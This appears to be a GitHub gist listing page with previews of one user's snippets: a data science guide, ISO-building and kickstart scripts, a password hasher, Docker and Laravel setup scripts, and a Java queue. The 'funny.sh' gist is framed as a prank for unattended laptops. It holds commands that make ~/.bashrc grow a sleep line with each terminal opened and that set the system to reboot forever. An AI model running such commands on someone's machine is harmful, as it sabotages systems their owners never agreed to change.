Skip to content

Instantly share code, notes, and snippets.

View immanuelpotter's full-sized avatar

Immanuel Potter immanuelpotter

View GitHub Profile
@immanuelpotter
immanuelpotter / funny.sh
Last active September 7, 2018 13:19
For the next time someone leaves their laptop open...
#fun:
# slower and slower terminal load with each terminal opened - remove line from ~/.bashrc to fix
echo "echo sleep 5 >> ~/.bashrc" >> ~/.bashrc
#silly:
# the never-ending reboot - edit grub menu and change run level to stop
systemctl set-default /usr/lib/systemd/system/runlevel6.target
@immanuelpotter
immanuelpotter / DatSci-intro.md
Last active November 9, 2019 17:34
Basic Data Science in Python guide (pandas, numpy, scikit-learn, nltk, stats)

An introduction to Data Science: Python

Immanuel Potter

This guide may assume some very basic programming knowledge, but not necessarily python. It aims to give anyone enough knowledge to start diving into data problems themselves by using these techniques, and tries to explain (fairly comprehensively) everything that is going on for the newcomer.

This guide will be covering several different topics and should equip you with enough knowledge to try some of what you read out on real problems.

Contents:

#!/bin/bash
# Run this from directory above isolinux/
DEVICE="/dev/sdb" #TODO: make this more intelligent, rather than hardcoded
PATH="/path/to/original/iso"
BUILT_NAME="custom.iso"
BOOT_COMMAND_LABEL="custom-build"
gunzip -c ${PATH}/repodata/*comps.xml.gz > comps.xml && cd isolinux && createrepo -g ../comps.xml
@immanuelpotter
immanuelpotter / ks.cfg
Last active August 8, 2018 14:18
Basic template for kickstart installation of minimal images
# Prior to use: crypt passwords and add here
install
# System authorization information
auth --enableshadow --passalgo=sha512
# Use CDROM installation media
#cdrom
# Use graphical install
#graphical
# Run the Setup Agent on first boot
@immanuelpotter
immanuelpotter / generate-encrypted-pass.py
Created August 3, 2018 12:12
Read password, hash it, print the hash
#!/usr/bin/env python3
import crypt,getpass
def prompt():
global pass1,pass2
pass1 = getpass.getpass("Enter your first password.\n")
pass2 = getpass.getpass("Enter your password again.\n")
return pass1,pass2
def make_hash(password):
#!/bin/bash
# Set this in your env:
REGISTRY=<ip addr>
# Get a registry going:
docker run -d -p 5000:5000 --name registry \
-v /var/lib/docker-registry:/var/lib/registry \
-e REGISTRY_STORAGE_DELETE_ENABLED=true \
--restart=always \
<registry-ip-address>:5000/registry:2
#!/bin/bash
# Author: www.github.com/immanuelpotter
# Usage: run this script in your root project dir.
# run: "php composer.phar --create-project --prefer-dist laravel/laravel <project_name>"
# run: "cd <project_name> && php ../composer.phar install"
#check if you've got the package already
if_installed(){
PACKAGE="$1"
@immanuelpotter
immanuelpotter / CSQueue.java
Created May 17, 2018 20:36 — forked from secretdataz/CSQueue.java
[Java] Circular array queue implementation
/**
* Circular array queue implementation
* @author Jittapan Pluemsumran
*/
public class CSQueue<T> {
T[] data;
int first = -1;
int last = -1;
int size; // for quick access